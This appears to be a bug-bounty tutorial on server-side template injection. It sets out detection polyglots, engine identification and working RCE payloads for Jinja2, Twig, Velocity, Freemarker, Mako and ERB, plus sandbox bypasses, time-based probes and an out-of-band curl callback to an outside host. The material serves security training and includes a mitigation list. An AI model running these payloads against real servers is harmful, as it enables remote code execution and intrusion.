Advanced levelFree

SSTI — Server-Side Template Injection in Jinja2, Twig, Velocity and Freemarker

Detection with polyglots, engine identification, escalation to RCE in Jinja2/Python, Twig/PHP, Velocity/Java. Patterns where user input reaches templates.

Gorka El BochiMay 9, 202612 min

Stop reading about bugs and start hunting them

No card · free Academy · cancel anytime

Create free account

Quick answer

SSTI happens when user input ends up inside a template rendered server-side. Most engines (Jinja2, Twig, Velocity, Freemarker, Mako, ERB) allow calling methods of the host language → fast escalation to RCE. Detect with the polyglot ${{<%[%'"}}%\ which breaks almost any engine. Identify with {{7*7}} and variants. Typical bounties: €2,000-€10,000 (RCE).


Typical vectors

Apps that generate emails/PDFs/dynamic responses from templates are usually candidates:

  • Email customization: "Welcome {{user.name}}" where user.name comes from the client.
  • Notification settings: subject template with placeholders.
  • Error messages: with interpolated variables (some frameworks).
  • Reporting builders: define a template, out comes a PDF.
  • Legal/contract documents generated with user data.
  • CMS where the editor inserts templates with variables.

Detection

Universal polyglot

bash
${{<%[%'"}}%\

This string breaks the syntax of almost every template engine. If the response changes (500 error, broken page) → possible SSTI.

Engine identification

Initial test: {{7*7}}.

OutputLikely engine
49Jinja2, Twig
7777777Twig (with string concat)
{{7*7}} (literal)No SSTI (the template isn't interpreted)
ErrorPossible different engine

Differentiator test Jinja2 vs Twig:

arduino
{{7*'7'}}
OutputEngine
7777777Jinja2
49 (numeric)Twig

For Java engines (Velocity, Freemarker):

bash
${7*7}

If it returns 49 → Velocity, Freemarker, or similar.

For ERB (Ruby): <%= 7*7 %>.


Escalation to RCE

Jinja2 (Python)

Jinja2 is the most common. Escape the sandbox via object chains:

python
{{ ''.__class__.__mro__[1].__subclasses__() }}

Returns a list of subclasses. Identify the index of subprocess.Popen or similar.

python
{{ ''.__class__.__mro__[1].__subclasses__()[XXX]('id', shell=True, stdout=-1).communicate()[0] }}

Variants depending on the Python version and available subclasses. More recent:

python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Twig (PHP)

twig
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}

Or a more modern bypass:

twig
{{["id"]|filter("system")}}

Velocity (Java)

java
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")

Freemarker (Java)

java
<#assign value="freemarker.template.utility.Execute"?new()>
${value("id")}

Mako (Python)

python
<%
import os
x=os.popen('id').read()
%>
${x}

ERB (Ruby)

ruby
<%= `id` %>
<%= system('id') %>
<%= IO.popen('id').read %>

SSTI sandbox bypasses

Modern engines have a sandbox that blocks __class__, __subclasses__, etc. Bypasses:

Jinja2 sandbox bypass

python
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

If request or config are in the context, they are a source of globals.

Restricted filters

If __class__ is blocked but attr isn't:

python
{{ ''|attr('__class__')|attr('__mro__')[1]|attr('__subclasses__')() }}

Blind SSTI

If there's no visible output:

Time-based

python
{{ '7'*999999999 }}                  # huge string, observable lag
{{ 'x'*99 if 7*7 == 49 else 'y' }}   # conditional timing

OOB

python
{{ ''.__class__.__mro__[1].__subclasses__()[XXX]('curl yourcollab.collab.tld/SSTI', shell=True, stdout=-1) }}

Burp Collaborator captures the hit.


Typical endpoints where you find it

  • Email customization in notification settings.
  • Broadcast email subjects.
  • PDF generators with customizable templates.
  • Error pages with variables (rarer but real).
  • Reporting with queries that produce formatted output.
  • CMS with editable widgets/plugins.
  • Newsletters with user-editable templates and preview.

Blind detection when you don't see output

python
# Jinja2
{{ '{}'.format(7*7) }}     # only returns 49 if it interpolates
{{ self.__init__.__globals__.__builtins__.__import__('time').sleep(5) }}

Time-based + OOB are your two friends when it's blind.


Hunting checklist

  • Are there endpoints where the client can write content that appears in emails, PDFs, reports?
  • Is there a template "preview"? Direct vector.
  • Try the polyglot ${{<%[%'"}}%\ and observe errors?
  • Does {{7*7}} return 49? → SSTI confirmed.
  • Does the engine allow access to globals/builtins? Try __class__.
  • If the sandbox blocks it, try variants with attr(), request.application, config?
  • Blind: time-based + OOB with Collaborator?

Correct mitigation

  1. Do NOT render templates with user input. Use {{ user_input }} as data, never {{ template_string }}.
  2. Sandboxed environment of the template engine when users do write templates (e.g., Jinja2 SandboxedEnvironment).
  3. Strict whitelist of allowed variables/functions (no __class__, __import__, etc.).
  4. Logical/visual templates (Liquid) that don't allow arbitrary Python/Ruby code.
  5. Input validation before passing to the template.

Practice detection, engine identification and SSTI escalation to RCE in Jinja2, Twig and Velocity: SSTI labs.

Free · no account

The checklist I run on every new target

47 checks ordered by cost: first what can get you in trouble, then the cheap stuff, and finally the expensive stuff — which is where the big bounties are. I'll send it to your inbox right now.

Unsubscribe in one click, from any email.

Practice this in a lab

Ssti

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

4,183

hunters training

68

labs from real hacks

2,125

completions

$14,790

paid out for these bugs

6 flags captured this week·Real hacks from HackerOne · YesWeHack · Bugcrowd·No commitment·Free Academy

The community

This isn't a platform with users.It's people breaking the same things you are.

Inside people ask, share what they found and solve together what would block anyone on their own. It's free to join: no account, no plan, no email required.

Join the BBLABS community on Discord
Join the Discord

Free and open. You don't need a BBLABS account to join.